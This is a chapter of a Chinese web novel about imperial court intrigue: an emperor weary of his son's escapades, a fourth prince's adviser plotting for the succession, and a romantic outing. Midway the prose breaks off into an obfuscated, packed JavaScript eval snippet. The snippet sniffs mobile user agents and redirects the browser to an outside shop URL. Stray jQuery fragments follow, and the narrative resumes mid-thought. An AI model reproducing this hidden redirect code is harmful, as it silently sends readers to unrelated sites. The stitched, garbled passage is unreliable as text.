47. 第 47 章

作品:《帅气美人被嫌弃后

    今日内阁呈送的奏折和往常一样多,其中两封来自保定府的奏报,被首辅加了密,单独放置在一个小盒子里。


    依照日程,太子该到保定府了。皇帝把奏折打发到司礼监,留下这只红漆小盒。


    里面两封奏报俱来自保定府尹邱奇志,一封为昌宁县令代奏陈情。


    曰:太子与妃定居于县城西南流瓦街,院内养鸡鸭,禽纵至左邻梨园,与伶戏者有左义,县令不敢断,乞望圣裁。


    后边附了详情折。


    皇帝看了一遍,好像没看懂,又看了一遍,还是那个意思,即字面上的意思。


    嘴角扯出一个苦笑,亲笔批下去:朕已阅,令梨园归禽于邻,县衙使公钱累其瓦,两相不得扰。


    丢到一边看下一封,尽管心里已经有了准备,看完仍是久久不语。


    保定府尹邱奇志代南溪县令奏,曰:太子与妃游于下境,自作火纸鸢如隼,乘之越数里,降落于野猪岭,幸得遇猎樵,安然送出,人已望昌宁县出行。


    今猎与樵争功,强滞于衙,索重金,望圣裁。


    后附一长串名单,数了数,十一个人。


    皇帝按住脑袋,脸肌抽搐,又哭又笑,提笔批复:“人均百两为谢仪,另力壮者加二十金,此钱公库腾挪,减下季税银。”


    今日无大朝,一整个上午就批了这么两封闲章,恹恹地靠在椅子里,赵钰和昨日一样可爱,他却提不起兴致陪他玩闹。


    原来陪小孩子玩,是需要满满元气的。


    赵钰安置在他寝宫偏殿,早晨奶嬷嬷把孩子抱过来,他看着这胖鼓鼓的孩子,勉强扯了下嘴唇,表示爷爷笑了,爷爷还是一样爱他。


    爱人也需要力气,自己一身枯槁,拿什么去滋养别人。


    下午有御史请见,言称太子嬉游无度,耽于枕边之乐,政务荒废黎民岌岌,望陛下召回太子,以肃纲纪。


    皇帝疑心那两封密折已经不密了,旁敲侧击问了几句,才知是面前这老枯骨见不得人闲着,湘王如今又不能令他们满意,便来找个茬儿。


    皇帝温言打发他:“在回来的路上了,折子不用写了,明日早朝朕不想听到这等鸡毛蒜皮。”


    老御史犯了倔:“国本离位,社稷不稳,陛下呀,这是何等要紧事,如何是鸡毛蒜皮呢?”


    皇帝不耐地挥手:“下去!”


    这老枯骨禁不住几个板子,皇帝招手叫人扯他下去,免得他犯浑。


    皇帝很烦这几个御史的嘴,但很快他就不得不承认,“国本离位,社稷不稳”是真的。


    他那个没有天分但做事勤恳的老四有个亲信幕僚,十年前的举子,文墨中规中矩,心思极活络。


    太子离宫二十天了,湘王暂代詹事府,后来皇帝亲往东宫教导湘王理政,父子俩偶有争议,消息一丝一缕慢慢传出宫墙。


    这幕僚陶锡根吃穿用度并一家老小都系在皇老四身上,皇老四对他又有知遇之恩,于是忠心得像一条狗。


    他长期揣摩观察皇家朝中的要紧人物,每个人做了性格脾气好恶优劣分析,记录在纸上,没叫四皇子知晓。


    毕竟四皇子忙于后院,志气不大。


    他没想到长期的积累猝不及防地派上用场。他拿出记录太子和湘王的两张纸,各方位分析太子此番出行的利弊得失,目的动机,不为人知的意义。


    他得出结论:不合理,不合情。


    没有意外的情况下,那位储君该稳坐东宫,握牢权柄,而不是带着个女人到处浪荡,将近一月未有归期。


    能接触到的大人里面,有几位是有资格上朝会的,听他们说起皇帝近日精力不济,动辄降雷霆之怒。


    他对自己的猜度的信心,几乎达到了九成。


    某一日四皇子下值,他悄摸摸凑近主子:“四爷,陶某有大事禀告。”


    四皇子掏耳朵,大事?他家哪有什么大事儿?


    政务做得四平八稳,难道是正妃与梁侧妃打起来了?梁侧妃肚子里的孩子落了?颜贵妾被王侧妃推到水里去了?后院有人偷偷栽了夹竹桃?


    “说。”


    陶锡根睁着发亮的眼睛,用气声道:“陛下,要废太子了!”


    “什么什么?你再说一遍!”四皇子又掏起耳朵,污垢多了听岔了。


    “陛下,要易储!太子被迫离京!”


    四皇子这回真听清了。


    呆呆地看着这位精明的幕僚,眼睛瞪得比这幕僚还亮:“你!喝了几壶酒?吃错了颠药?”


    叹口气,转身就走。


    陶锡根怀才不遇半辈子,他知道自己读书写文不行,但搞起阴谋来,二品的尚书们都未必是他对手,他有这份自信。


    然而天总是黑的,像在亘古混沌中看到一闪而过的光亮,他拼了老命地伸长脖子和四肢,要去抓取它,成了,他一生富贵不说,还可青史留名。


    “四爷留步,请听陶某一言!”


    四皇子懒洋洋的:“说。”


    “太子行踪诡异,必有大变!皇帝雷霆频繁,必有大变!湘王突然勤勉稳重,必有大变!”


    他铿锵有力的句子,砸进四皇子心里,砸得他一个哆嗦,细细一想,还真的是处处透着诡异。


    幕僚说的每一件事他都知道,只是不曾深想。


    如今深想起来......深想起来......


    四皇子转身质问:“皇帝废太子扶持那个废物?陶锡根,你脑子有病吧!皇帝老了,可不蠢!”


    “四爷,我这是为您好啊!图谋要趁早啊!不然失去先机......我们已经失了先机,湘王......”


    “够了,别提那个废物!太子稳稳的,我可不想凑上去找死!”


    过了两日,那幕僚不死心地凑上来,在他书房门外跪着。


    陶锡根年近四十,平常一脸精明相,仪表堂堂,待人接物劲气十足,今日像个霜打的茄子,胡茬冒出来也不曾清理。


    四皇子看他一眼:“认错来了?”


    陶锡根抬头,不承认也不否认,说了一句:“东宫医阁两位主事者,傅有礼和王谦,各领金银两匣,与太子同期离开东宫,去往原籍,无缘无由,杳无音讯。”


    四皇子还在神游的脑子像被钟撞了:“啊?!”


    他懵了一会,朝跪在地上的人招手:“进来说话。”


    四皇子在主位上落座,随手一指旁边的木椅,陶锡根正襟危坐,眼巴巴看着主子,希望主子开窍。


    “太子前一阵子病了,痊愈后出宫温养,湘王暂代,这是举朝皆知的事。陶先生,你是怎么扯到那么远的地方去的?我从前怎么不知道你有如此多的奇思妙想?”


    “四爷,您既然不信,为何还叫我到书房来坐着?”


    四皇子叹气:“我也不知啊,有句话叫做不怕一万,就怕万一。”


    他是真不想看到湘王上位。


    小时候打他,待他拿到至高权柄,岂不是要他的命?


    如果太子真的病得一发不可收拾,那么接下来的承位者,只能是他老四!


    老三封了王又如何?多年浪荡,正经事做不了一点。


    何况,连个女人都搞不到手,这样的废物,凭什么蹲在他头上?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027386|192240||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    如果是他出马绝对手到擒来,恐怕那女官肚子里已经揣上他的种了。


    陶锡根知道机会来了,他的四爷已经开始动摇,便进一步进言:“在下有预感,这件事很快就会见分晓,四爷如今要早做准备,在下听闻湘王理政不顺,且脾性不和,与陛下多有龃龉,虽则占了嫡子的名头,然而朝中恐怕都是不服的。”


    “我要如何准备?”


    “在下写了一篇治国论,四爷可呈上御览,先表一表为国为民之心。”


    “可,劳烦陶先生了。”


    “还有一样。”陶锡根犹豫着,心一横,道,“四爷后院过于繁冗了,恐怕陛下不喜,不如适当裁减。”


    这一条四皇子不纳,收了他的文章看了看,夸了一句“写得不错”。


    裁减后院?减谁?减谁都得大哭大闹,皇子府后院将引发一场不小的地震,等他荣贵加身了,还养不起这几个可怜的女子?


    四皇子抽空将文章递了上去,皇帝看了几眼,夸“写得不错”,将文章给在场的几个大员传阅,一个个称赞“好文”,就没有然后了。


    但四皇子察言观色,从皇帝憔悴的样子里嗅出一股风雨欲来的味道。


    看来他的幕僚是对的,在他不知道的暗处,有大事悄悄发生了。


    湘王近日眼里尽是阴翳,直到他看到身着鹅黄衫裙的女子朝他款款走来,给他的眼睛添了亮色。


    殷闻钰下值后在东极门外吃了晚饭,等了一会儿,就看见湘王的马车驶过来了。


    车夫认得她,赶紧勒马停车,殷闻钰也不避嫌,踩着脚凳一跃而上钻进马车。


    她看着沉默委屈的男子:“瘦了。”


    “嗯,给我抱抱,肉就长回来了。”


    殷闻钰笑了,长手一捞,男人顺势倒在她身上,虚虚地压着她,两个人在车厢里滚来滚去,滚出两身热汗。


    “时辰还早,出去转转?”殷闻钰坐直了身体提议。


    “好,去城郊看看野色。”


    马车加速出城,人在车里颠得东倒西歪,上一次经历这样的情形还是和方伯砚纠缠不清的时候,她被捆了手脚丢在车里,身子在车厢里打滚。


    经湘王吩咐,马车顺着那一回绑架案的轨迹,驶上官道,中途从缓坡入荒野。


    那一处被车轮碾压的痕迹还在,齐腰深的草倒了一片,至今还伏倒在泥地里。


    湘王突然多愁善感起来:“原来,野草的生命力也不过如此,诗句里说的野火烧不尽春风吹又生,也不可信。”


    殷闻钰蹲下来:“我抢救几棵试试。”


    两人一起蹲下,把发黄的杆扶起来,没有办法固定,弄了一阵,形成一片东倒西歪的凌乱。


    “看它们造化了。”


    年轻的男女并排坐在浅草丛里,看着西天一轮红日缓缓坠下,直至没入深海。


    湘王看着那落日道:“落得这样慢,我心里很痛苦,煎熬。”


    殷闻钰道:“此事非人力可及,再难受也要接受。”


    “我在学,我最近学了很多。”


    殷闻钰知道,他最近的表现出乎意外的好,把任性浮华收敛起来,待人斯文有礼,尤其是将自己的喜怒藏得极好。


    “四书,国策,权论,资治通鉴,君臣要义,这些书你学了多少?”


    “都学了,五岁起就开始读,听大学士老翰林们反复讲。”


    “还记得多少?”


    “记得大半,就算不记得,要用的时候自然就出来了,你问这些做什么?”


    夜色黑沉下,殷闻钰轻笑:“不做什么,随便问问。”